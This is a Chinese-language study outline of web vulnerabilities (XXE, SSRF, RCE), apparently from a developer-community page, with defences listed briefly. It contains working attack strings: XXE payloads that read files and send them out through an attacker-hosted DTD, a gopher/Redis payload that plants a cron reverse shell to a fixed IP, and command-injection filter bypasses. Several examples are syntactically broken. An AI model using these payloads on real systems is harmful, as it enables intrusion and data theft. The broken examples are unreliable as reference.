XXE漏洞

  • XML基础

    • 概念

      • 可扩展标记语言
    • 用途

      • 作为配置文件
        • 层次分明, 结构清晰, 便于扩展, 便于校验
        • 其他方案: properties, yml
      • 交换数据的格式
        • 系统与系统之间的通信, 相互调用接口
        • 其他方案: json
    • 内容实例

      • <?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
        <TranInfo><!--XML根元素-->
            <CdtrInf><!--子元素-->
                <Id>xxx</Id>
                <Nm>xxx</Nm>
            </CdtrInf>
            <DdtrInf>
                <Id>xxx</Id>
                <Nm>xxx</Nm>
            </DdtrInf>
            <Amt>xxx</Amt>
        </TranInfo>
        
    • XML约束

      • DTD: 文档类型定义
        • 对标签顺序、嵌套、属性、内容等等进行限制 (内容也是XML格式)
        • DTD 可以定义在 XML 中,也可以创建 .dtd 文件 (方便集中维护),在XML中引用
      • XSD: XML结构定义
        • 支持命名空间
        • 数据类型
    • DTD中的内部实体

      • ELEMENT 元素
      • ENTITY 实体: 通过 & 符号引用, 后面有分号
        • <?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
          <!DOCTYPE name[
              <!ELEMENT name ANY>
              <!ENTITY cs "xxx">
          ]>
          <people>
              <name>x</name>
              <area>&cs;</area>
          </people>
          
    • DTD中的外部实体

      • ENTITY SYSTEM 本机文件; PUBLIC 外部文件
        • 外部实体引用其他文件 (external.xml) [注意: 浏览器中不支持访问外部实体]
        • <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE name[
          <!DOCTYPE name ANY >
          <!ENTITY file SYSTEM "file:///D:/xxx/xxx/xxx.dtd" >
          %file;
          ]>
          <people>
          <user>xxx</user>
          <area>&xxe;</area>
          </people>
          
      • 外部实体常用协议
        • file:///etc//passwd
        • php://filter/read=convert.base64-encode/resource=index.php
        • http://xxx/evil.dtd
  • XXE漏洞定义和危害

    • 定义

      • XML外部实体注入
        • 服务器接收XML格式的数据时, 如果发送数据的人 (攻击者) 在XML数据中插入了包含恶意内容的外部实体, 可能导致读取文件, 执行命令, 探测内网端口, DOS等危害
      • 函数
        • $xml = simplexml_load_string($data)
          • PHP中的函数
    • 危害

      • 读取本级文件
        • 运行环境
          • PHP版本5.4.45
            <?xml version="1.0" encoding="UTF-8" ?>
            <!DOCTYPE note[
            <!ENTITY xxe SYSTEM "file:///E://xxx.txt">
            ]>
            <login>&xxe;</login>
            
      • 探测内网端口
        • 以mysql为例
          <?xml version="1.0" encoding="UTF-8" ?>
          <!DOCTYPE note[
          <!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
          ]>
          <login>&xxe;</login>
          
      • 执行系统命令
        • 需要安装expect扩展
          <?xml version="1.0" encoding="UTF-8" ?>
          <!DOCTYPE note[
          <!ENTITY xxe SYSTEM "expect://ipconfig">
          ]>
          <root>
          <name>&xxe;</name>
          </root>
          
      • 拒绝服务攻击
        • biliion laughs 攻击 payload
          • xxe-dos-payload.txt: 这个少于 1kb 的 XML 实际上包含 109 = 10亿个大文件, 占用大约 3GB 的内存
          <?xml version="1.0" encoding="UTF-8" ?>
          <!DOCTYPE note[
          <!ENTITY xxe SYSTEM "file:///dev/random">
          ]>
          <msg>
          &bomb;
          </msg>
          
  • XXE漏洞案例分析

    • 白云镜像站

    • 微信支付XXE漏洞

      • 攻击方式: 发送恶意的回调数据给商户, 例如通知支付成功, 读取商户服务器文件等等
        • http://baijiahao.baidu.com/s?id=1605163811729301776&wfr=spider&for=pc
  • XXE发现和利用

    • 发现接口 (主动爬取, 被动流量记录)

    • 拦截接口流量, 是否使用XML通信

    • 构造外部实体内容, 查看是否解析

      • 源码: https://github.com/c0ny1/xxe-lab
    • DNSlog盲打

      • payload
        <?xmlversion="1.0"encoding="UTF-8"?>
        <!DOCTYPE root[
        <!ENTITY% remote SYSTEM "http://wuyatest.wvz90i.dnslog.cn">
        %remote;
        ]>
        
    • HTTP发送数据

      • evil.dtd
        <!ENTITY %file SYSTEM
        "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
        <!ENTITY%int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>">
        
      • payload
        <?xmlversion="1.0">
        <!DOCTYPE ANY[
        <!ENTITY% FlLE SYSTEM"http://attacker.com/evil.dtd">
        %remote;
        %all;
        ]>
        <root>&send;</root>
        
      • 案例
        • http://192.168.142.167:5000/static/bugs/wooyun-2016-0188569.html
        • http://192.168.142.167:5000/static/bugs/wooyun-2016-0174217.html
  • XXE防御和修复

    • 禁用外部实体

      • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
    • 过滤用户提交的XML数据

      • 过滤字符
        • =
        • "
        • ''
        • <
        • >
        • ]]>
        • ]]>>
        • <!--/-->
        • /-->
        • -->
        • <!--
        • <!
        • <![CDATA[/]]>
    • 使用WAF


SSRF漏洞

  • 概念

    • 服务端请求伪造 (CSRF是跨站脚本请求伪造)

    • 代码

      <?php
        function curl($url){  
            $ch = curl_init();
            // 设置URL和相应的选项
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  
            // 抓取URL并把它传递给浏览器  
            curl_exec($ch);
            //关闭cURL资源,并且释放系统资源  
            curl_close($ch);
        }
      
        $url = $_GET['url'];
        curl($url);  
        ?>
      
  • PHP curl 扩展

    • 获取网页资源: 爬虫

    • webservice: 获取接口数据

    • FTP: 下载文件

    • 配置

      • 在 phpstudy 的配置文件 php.ini 中设置 extension=php_curl.dill
  • PHP其他函数

    • curl_exec()

      • 执行 CURL 会话
    • file_get_contents()

      • 将整个文件读入一个字符串
    • fsockopen()

      • 打开一个网站连接或者一个 Unix 套接字连接
  • CURL其他协议

    • file: 查看文件

      • curl -v ‘file:///etc/passwd’
    • dict: 探测窗口

      • 用于搭建在线字典服务
      • http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
    • gopher: 反弹shell

      • 是一种信息查找系统, 只支持文本, 不支持图像, 已被 http 替代
      • curl-v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1bash -i>&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
  • SSRF危害

    • 扫描资产

    • 获取敏感信息

    • 攻击内网服务器 (绕过防火墙)

    • 访问大文件, 造成溢出

    • 通过 Redis 写入 WebShell 或建立反弹连接

  • SSRF常见场景

    • 社会化分享

    • 转码服务

    • 在线服务

    • 图片加载, 下载功能

    • 图片, 文章, 收藏功能

    • 网站采集, 网站抓取

  • SSRF实际案例

    • 1、Wordpress3.5.1以下版本xmlrpc.phppingback的缺陷与SSFR

    • 2、discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)

    • 3、weblogic的SSRF

  • 如何发现SSRF漏洞

    • 爬取地址

    • 查看是否请求了其他资源

    • 谷歌语法搜索关键字

      • share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
    • github工具推荐

      • SSRF-Testing
      • Gopherus
      • SSRFmap
      • SSRF_proxy
  • SSRF防御

    • 禁用协议

    • 限制请求端口

    • 设置URL白名单

    • 过滤返回信息

    • 统一错误信息


远程代码执行渗透与防御 (RCE漏洞)

  • 危害

    • 获取服务器权限

    • 获取敏感数据文件

    • 写入恶意文件 getshell

    • 植入木马病毒勒索软件

  • 实际漏洞

    • CVE-2021-3177 PythonRCE漏洞

    • CVE-2021-21972VMWare RCE漏洞

    • CVE-2021-25646Apache Druid RCE漏洞

    • CNVD-2020-46552 深信服EDR

    • CNVD-2021-30101 网康下一代防火墙

    • http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE

  • PHP RCE 涉及函数

    • 命令 command 注入

      • system()
        • 执行外部程序, 并且显示输出
      • exec() / shell_exec()
        • 通过 shell 环境执行命令, 并且将完整的输出以字符串的方式返回
      • pcntl_exec()
        • 在当前进程空间执行指定程序
      • passthru()
        • 执行外部程序并且显示原始输出
      • popen()
        • 打开进程文件指针
      • proc_open()
        • 执行一个命令, 并且打开用来输入 / 输出的文件指针
    • 代码 code 注入

      • eval()
        • 把字符串 code 以 php 形式执行
      • assert()
        • 检查一个断言是否为 false
      • preg_replace()
        • 执行一个正则表达式的搜索和替换
      • create_function()
        • 创建一个匿名函数并且返回函数名创
      • call_user_func() / call_user_func_array()
        • 把第一个参数作为回调函数调用
      • usort() / uasort()
        • 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
  • Windows命令拼接符号

    符号 含义 示例
    && 左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'
    & 简单的拼接 ping 1111 & echo 'hello'
    | 上一条命令的输出,作为下一条命令参数 netstat -ano | findstr 3306
    || 左边的命令执行失败,右边的才执行 ping baidu.com | ping baidu.net
  • Linux 命令拼接符号

    符号 含义 示例
    ; 没有任何逻辑关系的连接符
    && 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
    | 上一条命令的输出,作为下一条命令参数 netstat -an | grep 3306
    || 左边的命令执行失败,右边的才执行 cat 3.txt | cat 2.txt
    & 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &
  • pikachu靶场

  • DVWA靶场

  • more/less搜索

    特性 more less
    导航 仅支持向下翻页 支持向上和向下自由翻页
    搜索 仅支持向下搜索 支持双向搜索/ 向下, ? 向上)
    内存使用 不预加载文件,内存占用少 按需加载,处理大文件效率高
    功能丰富度 功能相对简单 功能强大,支持行号、多文件查看等
  • 过滤 CAT

    • cat

      • 由第一行开始显示内容, 并将所有内容输出
    • tac

      • 从最后一行倒序显示内容 并将所有内容输出
    • more

      • 根据窗口大小, 一页一页的显示文件内容
    • less, more

      • less比more更牛b, 可以往前翻页, 也能搜索指定字符
    • head

      • 只显示头几行
    • tail

      • 只显示最后几行
    • nl

      • 类似于 cat -n, 显示时输出行号
    • tail

      • 类似 tail -f
  • 过滤空格

    • IFSS9

    • %09

    • <

    • >

    • {

    • }

    • %20

    • ${IFS}

  • 过滤目录分隔符

  • 过滤运算符

    • %0a: 回车

    • %0d: 换行

    • 实例

      • 127.0.0.1%0acd${IFS}f***_is_here%0als
      • 127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_xxxx.php
  • RCE防御

    • 开源框架,升级到最新版本

    • 尽量不要使用命令执行的函数

    • 如果必须使用,需要做白名单处理

    • 用正则表达式对用户输入的内容进行处理

    • 使用WAF

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐